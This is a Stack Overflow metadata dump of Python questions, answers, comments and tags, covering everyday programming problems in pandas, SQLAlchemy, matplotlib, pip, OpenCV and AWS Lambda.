I'd like to avoid.
answer count: 2
has title: Python generator to evenly split (for parallelizing) iteration over an upper triangular matrix
has comment: http://stackoverflow.com/comment/80918177
has comment: http://stackoverflow.com/comment/80918065
has comment: http://stackoverflow.com/comment/80918216
accepted answer: http://stackoverflow.com/a/46985512
upvote count: 1
possible better answer: http://stackoverflow.com/a/46985413
downvote count: 1

http://stackoverflow.com/q/46978851
has comment: http://stackoverflow.com/comment/80910669
upvote count: 5
tagged with: sqlite
tagged with: python
has title: SQLAlchemy - how to print the INSERT, UPDATE, DELTE queries send by db session
tagged with: sqlalchemy
type: Question
score: 5
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80920104
linked to: http://stackoverflow.com/q/5631078
downvote count: 0
favorite count: 0
has body: I want to print the SQL statements generated on INSERT, UPDATE, DELTE queries send by sqlalchemy db session. I am using sqlalchemy as ORM and sqlite3 database. I know I can print the SQL of a query using this. Like it is shown below INSERT INTO Table (id) VALUES (?) (1) But I want to print the query and parameter in one line like this INSERT INTO Table (id) VALUES (1); I only want to print the INSERT, UPDATE and DELETE queries. How can I do this?
linked to: http://stackoverflow.com/q/2950385

http://stackoverflow.com/a/47018507
type: Answer
has body: Perhaps not the quickest, depending on your actual dataframe ("very large" could mean anything). Basically two steps - first create a lookup table for every date to the next date. Then merge that lookup with the original table. #get the latest date for each row - just the max of date1 and date2 df['latest_date'] = df.loc[:, ['date1','date2']].max(axis=1) #for each date, find the next date - basically create a lookup table new_date_lookup = (df .melt(id_vars=['id'], value_vars=['date1', 'date2']) .loc[:, ['id','value']] ) new_date_lookup = (new_date_lookup .merge(new_date_lookup, on="id") .query("value_y &gt; value_x") .groupby(["id", "value_x"]) .min() .reset_index() .rename(columns={'value_x': 'value', 'value_y':'new_date'}) ) #merge the original and lookup table together to get the new_date for each row new_df = (pd .merge(df, new_date_lookup, how='left', left_on=['id', 'latest_date'], right_on=['id','value']) .drop(['latest_date', 'value'], axis=1) ) print(new_df) Which gives the output: id date1 date2 new_date 0 1 2016-01-01 2017-05-12 2017-05-28 1 1 2016-07-23 2016-08-10 2017-02-26 2 1 2017-02-26 2017-10-26 NaN 3 1 2017-05-28 2017-09-22 2017-10-26 4 2 2015-11-01 2015-11-09 2016-07-23 5 2 2016-07-23 2016-09-23 2017-05-23 6 2 2017-06-28 2017-08-03 2017-09-22 7 2 2017-05-23 2017-09-22 NaN And for the second example, added in the edit, gives the output: id date1 date2 new_date 0 1 2016-01-01 2017-05-12 2017-05-28 1 1 2016-07-23 2017-05-12 2017-05-28 2 1 2017-02-26 2017-02-26 2017-05-12 3 1 2017-05-28 2017-09-22 NaN 4 2 2015-11-01 2015-11-09 2016-07-23 5 2 2016-07-23 2016-09-23 2017-05-23 6 2 2017-06-28 2017-08-03 2017-09-22 7 2 2017-05-23 2017-09-22 NaN
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46964711
has comment: http://stackoverflow.com/comment/80995690
answers question: http://stackoverflow.com/q/46964711

http://stackoverflow.com/q/46979250
has comment: http://stackoverflow.com/comment/80906019
upvote count: 1
answer count: 1
downvote count: 0
linked to: http://stackoverflow.com/q/13531247
has title: How would I use a try/except loop to find output a message based on a specific error from a module?
favorite count: 0
type: Question
tagged with: statistics
tagged with: python-3.x
has answer: http://stackoverflow.com/a/46981366
has comment: http://stackoverflow.com/comment/80906464
accepted answer: http://stackoverflow.com/a/46981366
has comment: http://stackoverflow.com/comment/80906088
score: 1
tagged with: python
type: AnsweredQuestion
has body: I am writing a program to find the mean, median and mode of a list. Rather than doing all of this manually, I am using Python's "Statistics" module, which has built in functions for each of these. However I found a problem, when there is no mode (that is, when there is more than one answer for the mode (e.g., when the list = [1,3,5,7,10])) the module throws an error: statistics.StatisticsError: no unique mode; found 5 equally common values Im not sure how I would specifically use an except statement to be executed when there is an error like this, I think I can do something like try: print("The Mode = ",statistics.mode(userNumbers)) except statistics.StatisticsError print("There was an error with the statistics module") To show that there was a problem with the statistics module, however when I try try: print("The Mode = ",statistics.mode(userNumbers),") except statistics.StatisticsError: no unique mode; found 5 equally common value: print("There is no single mode") Python thinks that I am trying to end the line at the colon after Error, I tried using a backslash ("\") to skip the colon but that didnt work, and im not sure how else I would specifiy the error that was given off without ignoring that character. Is there a way to ignore that colon or would I have to do something else altogether? Thanks to anyone that atleast looks at my problem &lt;3

http://stackoverflow.com/a/46961864
has comment: http://stackoverflow.com/comment/80872163
upvote count: 6
has comment: http://stackoverflow.com/comment/80876645
answers question: http://stackoverflow.com/q/46961783
downvote count: 0
has comment: http://stackoverflow.com/comment/80873600
type: AcceptedAnswer
score: 6
accepted answer of: http://stackoverflow.com/q/46961783
has body: A plot with a vertical offset sounds like a frequency trail. Here's one approach that does just adjust the y value. Frequency Trail in MatPlotLib The same plot has also been coined a joyplot/ridgeline plot. Seaborn has an implementation that creates a series of plots (FacetGrid), and then adjusts the offset between them for a similar effect. https://seaborn.pydata.org/examples/kde_joyplot.html An example using a line plot might look like: import seaborn as sns import matplotlib.pyplot as plt import numpy as np import pandas as pd segments = 10 points_per_segment = 100 #your data preparation will vary x = np.tile(np.arange(points_per_segment), segments) z = np.floor(np.arange(points_per_segment * segments)/points_per_segment) y = np.sin(x * (1 + z)) df = pd.DataFrame({'x': x, 'y': y, 'z': z}) pal = sns.color_palette() g = sns.FacetGrid(df, row="z", hue="z", aspect=15, height=.5, palette=pal) g.map(plt.plot, 'x', 'y') g.map(plt.axhline, y=0, lw=2, clip_on=False) # Set the subplots to overlap g.fig.subplots_adjust(hspace=-.00) g.set_titles("") g.set(yticks=[]) g.despine(bottom=True, left=True) plt.show() Out:
type: Answer

http://stackoverflow.com/a/46963623
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46963507
answers question: http://stackoverflow.com/q/46963507
has body: A merge would do df2.merge(df1'B', 'D', 'zebra', on = ['B', 'D'], how = 'left') B D zebra 0 7 4 NaN 1 3 5 NaN 2 5 8 NaN 3 8 5 7.0 4 8 3 NaN
type: Answer
has comment: http://stackoverflow.com/comment/80875520
has comment: http://stackoverflow.com/comment/80875642

http://stackoverflow.com/q/46992263
tagged with: python
tagged with: plot
has comment: http://stackoverflow.com/comment/80931331
score: 2
has answer: http://stackoverflow.com/a/46992473
has comment: http://stackoverflow.com/comment/81028673
has title: Plotting candlestick with matplotlib for time series w/o weekend gaps
has comment: http://stackoverflow.com/comment/80932478
tagged with: matplotlib
downvote count: 0
has answer: http://stackoverflow.com/a/47229291
favorite count: 0
type: Question
upvote count: 2
has body: trying to plot a candlestick serie after importing datas from yahoo-finance. I'm using python 2.7 I have already a serie plotted and I want to add the same one as candlestick but I don't see how I can do that : import matplotlib.pyplot as plt from matplotlib.finance import candlestick2_ohlc #Reset the index to remove Date column from index df_ohlc = data.reset_index() #Naming columns df_ohlc.columns = ["Date","Open","High",'Low',"Close", "Adj Close", "Volume"] #Normal plot ax1 = plt.subplot() ax1.plot(df_ohlc["Date"], df_ohlc["Close"], label = "Price", color="blue", linewidth=2.0) #Candle plot candlestick2_ohlc(ax1,df_ohlc['Open'],df_ohlc['High'],df_ohlc['Low'],df_ohlc['Close'],width=0.6) If I plot candlestick alone, it looks fine but the x axis is a list of integers. If I plot candlestick alone after converting df_ohlc["Date"] to float then reconverting to datetime, it plots the serie with the correct x axis but there are gaps on the weekend even if the serie isn't defined for these dates. Is there a way to plot both series at the same time ? I'm planning to add more series like moving average, OLS, Bollinger etc...
has comment: http://stackoverflow.com/comment/80931307
answer count: 2
has comment: http://stackoverflow.com/comment/80936686
tagged with: candlestick-chart
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/10529492

http://stackoverflow.com/q/47038288
score: -5
has comment: http://stackoverflow.com/comment/81023322
answer count: 1
has comment: http://stackoverflow.com/comment/81023193
has answer: http://stackoverflow.com/a/47038653
favorite count: 0
type: Question
tagged with: python-3.x
has body: import module_name Is the above expression copying the whole code inside of the working module, or does it just know its name (or its path)? If it copies the whole code inside of the working library, then why do we have to use a module_name.function kind of system to work with that module? If it does not copy any code, then after the amendment of that module(module_name), why does it still work?
upvote count: 0
accepted answer: http://stackoverflow.com/a/47038653
downvote count: 5
has title: Are modules hash tables?
tagged with: python
has comment: http://stackoverflow.com/comment/81023305
type: AnsweredQuestion
tagged with: python-2.7

http://stackoverflow.com/a/47038535
has body: We have to perform few conversions here: clear; clc; value = py.testPython.numpyTest();% ndarray pyList = value.tolist(); % ndarray -&gt; pylist result = cellfun(@double,cell(pyList)) %pylist-&gt; cell array -&gt; double array Another option is to transfer data via file, but I don't like it. And a link to Matlab Docs about Python list conversion: https://www.mathworks.com/help/matlab/matlab_external/use-python-list-of-numeric-types-in-matlab.html
downvote count: 0
upvote count: 1
score: 1
type: Answer
answers question: http://stackoverflow.com/q/47033614

http://stackoverflow.com/q/46931536
score: 1
has comment: http://stackoverflow.com/comment/80809889
answer count: 1
downvote count: 0
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80811342
has title: Copy a file from an archive to a different directory python
has comment: http://stackoverflow.com/comment/80809979
has answer: http://stackoverflow.com/a/46932931
has body: is there any simple way to copy a file inside an archive to a different path? Obviously, the simple method of using shutfile doesn't work: from shutil import copyfile copyfile("path/archive/file.ext", "newpath/newfile.ext") FileNotFoundError: [Errno 2] No such file or directory: LE: Imo, the error is misleading, because it probably shows up because I have a zip archive in the path ( if I extract the file from the archive and change the path, it works without problems, my problem is that it doesn't go through the archive)
has comment: http://stackoverflow.com/comment/80809906
tagged with: python
has comment: http://stackoverflow.com/comment/80810179
tagged with: copy
has comment: http://stackoverflow.com/comment/80809887
type: AnsweredQuestion
upvote count: 1
accepted answer: http://stackoverflow.com/a/46932931

http://stackoverflow.com/comment/80960258
score: 0
has text: Also `ip[0]` is already a string, no need to call: `ip[0].__str__()` and etc
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47006829

http://stackoverflow.com/q/47033400
has answer: http://stackoverflow.com/a/47033563
possible better answer: http://stackoverflow.com/a/47033563
favorite count: 0
has comment: http://stackoverflow.com/comment/81037553
type: Question
has answer: http://stackoverflow.com/a/47033768
has comment: http://stackoverflow.com/comment/81013716
has comment: http://stackoverflow.com/comment/81013169
tagged with: python
tagged with: dictionary
has comment: http://stackoverflow.com/comment/81037394
has comment: http://stackoverflow.com/comment/81016611
has comment: http://stackoverflow.com/comment/81037785
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47033768
answer count: 2
has comment: http://stackoverflow.com/comment/81037676
has comment: http://stackoverflow.com/comment/81013625
score: 1
has title: Updating the nested dictionary based on some condition
downvote count: 0
upvote count: 1
has body: I have the following table table = {} table["A"] = {0: {"B":2, "C1":2}, 1: {"C1":1}} table["B"] = {0: {"C":1}, 1: {"C2":1}} table["C"] = {0: {"C1":1}, 1: {"C2":1}} and want to add the following values to the respective keys c1 = {0:{"B":1}} #This is for row "A" c2 = {1:{"C":1}} #This is for row "B" c3 = {1:{"C2":1}} #This is for row "C" I want to insert the c1, c2, and c3 in the table such that for A, key will be checked against 0 or 1. If the key is present in the table, I need to go down to the values and check for the B inside the values of key 1. If B is present, i need to increment the value. Otherwise the {"B":1} will be added to either 0 or 1 (based on the key) I tried a number of techniques but always ended up with the error message or the corresponding values is not updated. The resultant table should be table["A"] = {0: {"B":**3**, "C1":2}, 1: {"C1":1}} table["B"] = {0: {"C":1}, 1: {"C2":1}, **{"C":1}**} table["C"] = {0: {"C1":1}, 1: {"C2":**2**}} Updates: Although the solution provided by @RomanPerekhrest worked but when I tried to make these changes, i am getting the error message. ## to create the c1, c2, c3 etc from the list, I added this code. tr = ["A",0,"B",1,"C",1,"C2",1] transition = {} for i in range(1,len(tr)-2,2): transition[i] = {tr[i]:{tr[i+1]:1}} ## instead of the c1, c2 and c3 i want to use the transition ##c1 = {1:{"B":1}} ##c2 = {1:{"C":1}} ##c3 = {1:{"C2":1}} ##for k,d in zip(table.keys(), [c1,c2,c3]): this is working correctly. for k,d in zip(table.keys(), transition): ##the transition is generating error message for c_k,c_v in d.items():AttributeError: 'int' object has no attribute 'items' for c_k,c_v in d.items(): if c_k in table[k]: for inner_k in c_v: if table[k][c_k].get(inner_k): table[k][c_k][inner_k] += c_v[inner_k] else: table[k][c_k][inner_k] = c_v[inner_k] print(table)

http://stackoverflow.com/q/47055613
type: AnsweredQuestion
answer count: 2
downvote count: 0
accepted answer: http://stackoverflow.com/a/47180606
score: 6
tagged with: pip
favorite count: 0
type: Question
has body: I'm trying to install couple of modules via pip into custom directory using flag --target. e.g.: pip3 install --target /custom/module/location /path/to/package1 Everything works just fine. By adding /custom/module/location to PYTHONPATH I can use my package1. But when I try to install package2 which requires package1 (located in /custom/module/location) pip throws: Could not find a version that satisfies the requirement ... No matching distribution found ... Basically: PYTHONPATH=/custom/module/location pip3 install --target /custom/module/location /path/to/package1 pip3 install --target /custom/module/location /path/to/package2 does not work, but pip3 install --user /path/to/package1 pip3 install --user /path/to/package2 works just fine. Is there any way of telling pip to look into custom location /custom/module/location other than PYTHONPATH? btw when using first method, pip3 list can see the package1
possible better answer: http://stackoverflow.com/a/47055821
has answer: http://stackoverflow.com/a/47180606
has title: pip install dependencies in custom directory
upvote count: 6
has answer: http://stackoverflow.com/a/47055821
tagged with: python

http://stackoverflow.com/comment/81075893
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47063374
has text: See [buffer protocol](https://docs.python.org/3/c-api/buffer.html) But yes, vanilla Python numeric types don't implement this, you have to explicitely convert them to an object that does. Built-in types that *do* implement the buffer-protocol are `bytes`, `bytearray`, `array.array`, and `memoryview` objects.

http://stackoverflow.com/comment/80838304
has text: This was extremely helpful! I have a quick followup, how could I go about setting up an iteration create a unique matrix for every row as opposed to simply using one as an example?
score: 0
comment on: http://stackoverflow.com/a/46944821
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/80774206
has text: @DavidG, I have again edited full script. please check
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46913137

http://stackoverflow.com/comment/80793384
type: Comment
type: QuestionComment
has text: don't `append` the item until *after* you've checked for existence. Or, use a dictionary instead of a list.
comment on: http://stackoverflow.com/q/46923003
score: 0

http://stackoverflow.com/a/46981258
score: 10
upvote count: 10
has comment: http://stackoverflow.com/comment/80910641
accepted answer of: http://stackoverflow.com/q/46979264
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/46979264
type: Answer
has body: As I looked into other topics I found out that a solution like this one from James at questions about pandas.to_sql could be the solution for your problem. Here is what he said. Your way is not supported anymore. Try this? from sqlalchemy import create_engine import pandas as pd engine = create_engine("mysql://root:matt123@localhost/ada") df=pd.DataFrame(['A','B'],columns=['new_tablecol']) df.to_sql(name='new_table',con=engine,if_exists='append') Syntax is: engine = create_engine("mysql://USER:PASSWORD@HOST/DATABASE")
has comment: http://stackoverflow.com/comment/80910145

http://stackoverflow.com/q/46957911
has answer: http://stackoverflow.com/a/46958224
has body: I need help combining 2 lines together in a text file, so for example: My text file looks something like this: Line 1 Line 2 Line 3 I want to combine Line 2 into line 1 then print the content of the text file so it looks something like this: Line 1 Line 2 Line 3 I know how to print the content of the file using: Print file.read() I just don’t understand how to combine the first 2 lines.
has comment: http://stackoverflow.com/comment/80863353
answer count: 4
has answer: http://stackoverflow.com/a/46958049
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/80863365
has title: How do i combine 2 lines in a text file in python?
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46958012
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/46958288
downvote count: 0
tagged with: python

http://stackoverflow.com/comment/80808627
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46924092
has text: Could you include a random sparse matrix that looks like the one you have? I suspect the problem is that sparse matrices just aren't supported in nopython mode, so numba can't release the GIL (because it has to call back into Python mode) and thus it can't use `prange` or `parallel=True`.
type: Comment

http://stackoverflow.com/comment/126672354
score: 0
comment on: http://stackoverflow.com/a/46930608
has text: am guessing this will cause memory issues when we have to run over 2000 files. Is there a way to reduce the memory while loading and writing them ?
type: Comment
type: AnswerComment

http://stackoverflow.com/a/47070420
type: AcceptedAnswer
has body: Based on an amended suggestion from TomSitter I used ksdata.cat_slug_raw.str.split('/').str[0] This was the simplest way to get around it.
type: Answer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47058763
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/47058763

http://stackoverflow.com/q/47064420
tagged with: datetime
tagged with: python
has title: Comparing dates using datetime from a different calendar year
tagged with: date
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/81077360
has comment: http://stackoverflow.com/comment/81077480
has comment: http://stackoverflow.com/comment/81077616
answer count: 1
has answer: http://stackoverflow.com/a/47064669
accepted answer: http://stackoverflow.com/a/47064669
type: Question
has comment: http://stackoverflow.com/comment/81077845
has body: If I try to compare dates in the form "Month Year" and the year is different, the month difference won't be correct. If I compare January 2016 to March 2017 the month difference will be 3 and not 14. Is there a way I can put months to 0 when the year increases. import datetime month_names = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"] months = {name : (index + 1) for index, name in enumerate(month_names)} current_month = datetime.date.today().strftime('%B') month_joined = input("Please enter the month you joined: ") month_difference = abs(months[current_month] - months[month_joined]) current_year = int(datetime.date.today().strftime('%Y')) year_joined = int(input('Please enter the year you joined: ')) year_due = year_joined + 1 year_difference = current_year - year_due The month difference does not take into accound the difference in years. I have tried a few solutions to ignore an input for month difference and put 12 months in for each year. I need the month difference to be exact. Any ideas? I'm stumped.
has comment: http://stackoverflow.com/comment/81077551

http://stackoverflow.com/q/46906025
answer count: 0
score: 0
has title: read csv file triggered by s3 event
has comment: http://stackoverflow.com/comment/80799558
type: Question
tagged with: serverless-framework
has body: i want to read a csv file that is triggered by s3 event, in other words, when a csv file is uploaded to s3, my lambda function will read this file and send email with info and content. My code works fine when there is no reading of the csv file, but whenever i put the reading part i can't recieve mail. I am using serverless framework v--1.22.0 ** and **python 2.7. Here is my code: def csvfile(event, context): s3 = boto3.client('s3') email_from = '****@****.com' email_to = '****@*****.com' email_subject = 'new file is uploaded' for record in event['Records']: filename = record['s3']['object']['key'] filesize = record['s3']['object']['size'] source = record['requestParameters']['sourceIPAddress'] eventTime = record['eventTime'] with open(str(filename), 'rb') as csvfile: spamreader = csv.reader(csvfile, delimiter='|') for row in spamreader: print row email_body = "File Name :" + filename + "\n" + "File Size :" + str(filesize) + "\n" + "Upload Time :" + eventTime + "\n" + "User Details :" + source + "\n" + "content of the csv file :" + row ses = boto3.client('ses') ses.send_email(Source = email_from, Destination = {'ToAddresses': [email_to,],}, Message = {'Subject': {'Data': email_subject}, 'Body': {'Text' : {'Data': email_body}}} ) print('Function execution Completed !!!') and here is my serverless.yml file: service: aws-python # NOTE: update this with your service name provider: name: aws runtime: python2.7 stage: dev region: us-east-1 iamRoleStatements: - Effect: "Allow" Action: - s3:* - "ses:SendEmail" - "ses:SendRawEmail" - "s3:PutBucketNotification" Resource: "*" functions: csvfile: handler: handler.csvfile description: send mail whenever a csv file is uploaded on S3 events: - http: path: '' method: get - s3: bucket: mine2 event: s3:ObjectCreated:* rules: - suffix: .csv
tagged with: amazon-s3
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80834315
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
has comment: http://stackoverflow.com/comment/80968085
has comment: http://stackoverflow.com/comment/80789774
linked to: http://stackoverflow.com/q/46928105

decision-tree
type: Tag
tags question: http://stackoverflow.com/q/47023886
tags question: http://stackoverflow.com/q/46961091
tags question: http://stackoverflow.com/q/46936276
tag name: decision-tree

http://stackoverflow.com/comment/86079024
score: 0
comment on: http://stackoverflow.com/q/47040860
type: Comment
type: QuestionComment
has text: Any update to your error?

http://stackoverflow.com/q/47025470
type: Question
accepted answer: http://stackoverflow.com/a/47029542
has comment: http://stackoverflow.com/comment/80998159
has answer: http://stackoverflow.com/a/47029542
tagged with: python
has title: A Valid 'SELECT' SQL Statement Fails in Python But Works from SQLite Manager
has comment: http://stackoverflow.com/comment/80998330
tagged with: python-2.7
type: AnsweredQuestion
score: 0
tagged with: sqlite
has body: This SQL statement works well in SQLite Manager: select a.etl_name, a.start from ( select etl_name,start,end from etl_info_is where (etl_name, strftime('%Y-%m-%d %H:%M', start) ) in ( select etl_name, strftime('%Y-%m-%d %H:%M', start) as start from etl_info_is where etl_name = 'My_Value' except select etl_name, strftime('%Y-%m-%d %H:%M', schedule) as start from etl_info_cron where etl_name = 'My_Value' ) ) a join etl_info_is b on (a.start between b.start and b.end and a.end between b.start and b.end) where b.etl_name = 'My_Value' and julianday('now') - julianday(a.start) &lt;= 15 However, the same one fails on execution of the Python code with the error: Traceback (most recent call last): File "/opt/rh/python27/root/usr/lib64/python2.7/runpy.py", line 174, in _run_module_as_main "__main__", fname, loader, pkg_name) File "/opt/rh/python27/root/usr/lib64/python2.7/runpy.py", line 72, in _run_code exec code in run_globals File "/opt/IBM/InformationServer/Server/DSEngine/bin/ISMD-jppilot.py/__main__.py", line 2241, in &lt;module&gt; File "/opt/IBM/InformationServer/Server/DSEngine/bin/ISMD-jppilot.py/__main__.py", line 1926, in fillCRON_DSchd File "/opt/IBM/InformationServer/Server/DSEngine/bin/ISMD-jppilot.py/__main__.py", line 1867, in get_ST_d_schd_seq sqlite3.OperationalError: near ",": syntax error And this is the Python function where it fails: def get_ST_d_schd_seq(key_f, seq_d_f): """ Get the start times of the double-scheduled seq """ conn,c = connect(sqldb_loc) c.execute("""select a.etl_name, a.start from ( select etl_name,start,end from etl_info_is where (etl_name, strftime('%Y-%m-%d %H:%M', start) ) in ( select etl_name, strftime('%Y-%m-%d %H:%M', start) as start from etl_info_is where etl_name = ? except select etl_name, strftime('%Y-%m-%d %H:%M', schedule) as start from etl_info_cron where etl_name = ? ) ) a join etl_info_is b on (a.start between b.start and b.end and a.end between b.start and b.end) where b.etl_name = ? and julianday('now') - julianday(a.…
answer count: 1

http://stackoverflow.com/q/47001040
has comment: http://stackoverflow.com/comment/80964508
tagged with: python
type: Question
has body: I'm searching for a reporting plugin for a soon to be developed django app and I checked some packages available in django. I am particularly interested in using django-sql-explorer because of its flexibility with the queries. But I can't seem to find a setting to allow me to schedule a report and then send to email the reports. There is an option to send reports to S3 but that is not really what I need. There is an option to email results via email but this only happens when the report is triggered manually. Would there be another way to allow me to schedule a report to be generated and then send the result to email recipients?
has comment: http://stackoverflow.com/comment/81479507
score: 0
answer count: 0
type: UnansweredQuestion
has title: How to schedule an email notification report with django-sql-explorer?
tagged with: django

http://stackoverflow.com/comment/80934238
score: 1
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46993861
has text: That doesn't seem easier than using `with` to me. Plus it reads the whole file in at once, which might not be suitable if the file is really big.

http://stackoverflow.com/a/47027388
has comment: http://stackoverflow.com/comment/81002113
type: Answer
has comment: http://stackoverflow.com/comment/81002002
answers question: http://stackoverflow.com/q/47027311
has comment: http://stackoverflow.com/comment/81002048
has comment: http://stackoverflow.com/comment/81001915
has body: try: br.form.find_control( 'Entries[registration_ip]').readonly = False print "Form found ", break except mechanize.ControlNotFoundError: print "ControlNotFoundError" br.open(url) br.select_form(nr = 0) br.form.find_control( 'Entries[registration_ip]').readonly = False If br.form.find_control() throws a ControlNotFoundError exception the first time it's called, why do you expect it will magically work when you call it again inside the except block?
score: 0

http://stackoverflow.com/comment/80974004
score: 0
type: AnswerComment
has text: Oh, I forgot about the `set`. The solution works but produces uneven ticks. Sadly, the visual is very important in my output. I'm really grateful for the effort.
type: Comment
comment on: http://stackoverflow.com/a/47012412

http://stackoverflow.com/comment/80937381
type: QuestionComment
comment on: http://stackoverflow.com/q/46988990
type: Comment
has text: I can provide the coordinates of the polygon to cv2.minArea but to visualize it using cv2.drawContours i need to pass image as a first argument but i have to work on PolygonPatch.
score: 0

http://stackoverflow.com/comment/80813143
type: QuestionComment
comment on: http://stackoverflow.com/q/46932812
has text: So, back to my first question, where are you counting _that_ in your code?
score: 0
type: Comment

http://stackoverflow.com/q/47043405
type: AnsweredQuestion
has title: Homemade Ansible Module has "setup error: No module named FabricVcon"
score: 1
has comment: http://stackoverflow.com/comment/81055808
tagged with: python
has comment: http://stackoverflow.com/comment/81055744
accepted answer: http://stackoverflow.com/a/47061822
has comment: http://stackoverflow.com/comment/81055668
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47061822
tagged with: python-2.7
has body: Problem When testing my own Ansible module, I run into this particular error:"setup error: No module named FabricVcon " Yet when testing the module's base API (also homemade) in Python, the code works error-free. I'm quite confused because the Ansible Module template I have been using for the other base APIs is the same, just with the relevant information swapped in. All of the previous similar modules work. For clarity's sake, the Ansible module I developed uses the API Python file I developed. That Python API file implements an officially supported Cisco Python library. Edit: Part of the issue is in the error code itself. The ucsmsdk base class is FabricVCon, while the error tells me it cannot find FabricVcon. The difference is the second C in the name. I have made changes in my code before posting the question to ensure that FabricVCon was used, yet the error persists. Context I am currently working on automating Service Profile Template creation and modification via the ucsmsdk in Python with Ansible. I have been contributing to my own forks of the CiscoUcs team's repos of ucsm_apis and ucsm-ansible, using their files as a guide for how my own should work. I have the files from my own repos installed and functioning properly, with the exception of this one. Below I've added the relevant code to the issue, but if you find you need more to work with, please see the two forks on my GitHub account Code test_fabric.yml --- - name: test the test the fabric_vcon_module connection: local hosts: localhost tasks: - name: Make the fabric vcon now fabric_vcon_module: id: "1" ls_server_dn: "org-root/org-VM/ls-SCALEIO" fabric: "NONE" inst_type: "manual" placement: "physical" select: "all" share: "shared" transport: "ethernet, fc" state: present ucs_ip: "IP" ucs_username: "USER" ucs_password: "PWD" fabric_vcon.py (Commented out at the end is my test of the Python code itself) """ This module intends on creating higher level api calls for establishing an Fabric Vcon """ from uc…
tagged with: ansible
tagged with: automation
tagged with: cisco
has comment: http://stackoverflow.com/comment/81039897
answer count: 1
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/81034078
type: AnswerComment
comment on: http://stackoverflow.com/a/47043360
score: 0
type: Comment
has text: @progmatico um, `i18n`? Underscores don't have any special meaning in the language *Python*, but *can* be used as special variables in certain REPLs, like the default interpreter REPL and IPython...

http://stackoverflow.com/comment/80875603
type: AnswerComment
has text: Thanks ekhumoro, this is perfect and it gives me what I need to make a few other widgets too. I'm sure this will help out a few other programmers out there as well! You've answered a ton of my pyqt questions, thanks for all the help :)
type: Comment
comment on: http://stackoverflow.com/a/46963645
score: 0

fonts
tags question: http://stackoverflow.com/q/47045419
tags question: http://stackoverflow.com/q/46988603
type: Tag
tag name: fonts
tags question: http://stackoverflow.com/q/46919750

http://stackoverflow.com/q/46922715
has comment: http://stackoverflow.com/comment/80792762
tagged with: pandas
upvote count: 1
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/80792769
has comment: http://stackoverflow.com/comment/80792792
favorite count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46922894
has body: I'm trying to go through each row (iterrow?) and find the most recent date (sort function?) and put it in column 'G' I'm having trouble combining the iterate function and the sorting function. A B C D E F G 0 1 20171018 20171019 20171001 20171002 id_123 1 2 NaN 20171005 20171006 20171003 id_234 2 3 NaN NaN 20171019 20171020 id_345 3 4 NaN NaN NaN 20171021 id_456 Desired Output A B C D E F G 0 1 20171018 20171019 20171001 20171002 id_123 20171019 1 2 NaN 20171005 20171006 20171003 id_234 20171006 2 3 NaN NaN 20171019 20171020 id_345 20171020 3 4 NaN NaN NaN 20171021 id_456 20171021 Here is the code to generate the dataframe data2 = {'A': [1, 2, 3, 4], 'B': ['20171018', '', '', ''], 'C': ['20171019', '20171005', '', ''], 'D': ['20171001', '20171006', '20171019', ''], 'E': ['20171002', '20171003', '20171020', '20171021'], 'F': ['id_123','id_234','id_345','id_456'], 'G': ['','','',''] } df3 = pd.DataFrame(data2) edit: I have already converted the date columns using datetime
accepted answer: http://stackoverflow.com/a/46922894
tagged with: python
has title: Pandas dataframe, get recent date in each row
type: Question
score: 0

http://stackoverflow.com/comment/80930643
comment on: http://stackoverflow.com/a/46991212
has text: It works here same, because `cumcum` return Series same size as `DataFrame` for apply and for transform. `Transform` is used if some aggregate function like `sum` is used with groupby - `apply` and `agg` return aggregate output and `transform` not. Better is see example - see [here](https://stackoverflow.com/a/44284974/2901002).
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/81030080
has text: Are you saying that this code in particular runs slowly, or are you looking for help speeding up code in general? If it is the latter we cannot help without a more concrete example. If it is the former, [see here](https://stackoverflow.com/questions/9009139/optimising-multiplication-modulo-a-small-prime)
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47040526
score: 0

http://stackoverflow.com/q/47049234
tagged with: opencv
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47049369
answer count: 2
score: 1
downvote count: 0
upvote count: 1
has title: How can I know which color channel is each element of the array returned by the read function in OpenCV?
favorite count: 0
possible better answer: http://stackoverflow.com/a/47049369
accepted answer: http://stackoverflow.com/a/47049333
type: Question
has answer: http://stackoverflow.com/a/47049333
has comment: http://stackoverflow.com/comment/81045514
tagged with: python
has comment: http://stackoverflow.com/comment/81045612
has comment: http://stackoverflow.com/comment/81045530
has body: Using OpenCV with Python binding, when executing the following code: import cv2 cap = cv2.VideoCapture('video.mp4') while (cap.isOpened()): ret, frame = cap.read() # ... # ... How can I know which color channel is in each of frame[:, :, 0], frame[:, :, 1] and frame[:, :, 2]. I mean, is RGB, RBG, GBR, GRB, BRG or BGR? Thank you very much!

http://stackoverflow.com/a/47046269
has comment: http://stackoverflow.com/comment/81040475
accepted answer of: http://stackoverflow.com/q/47046216
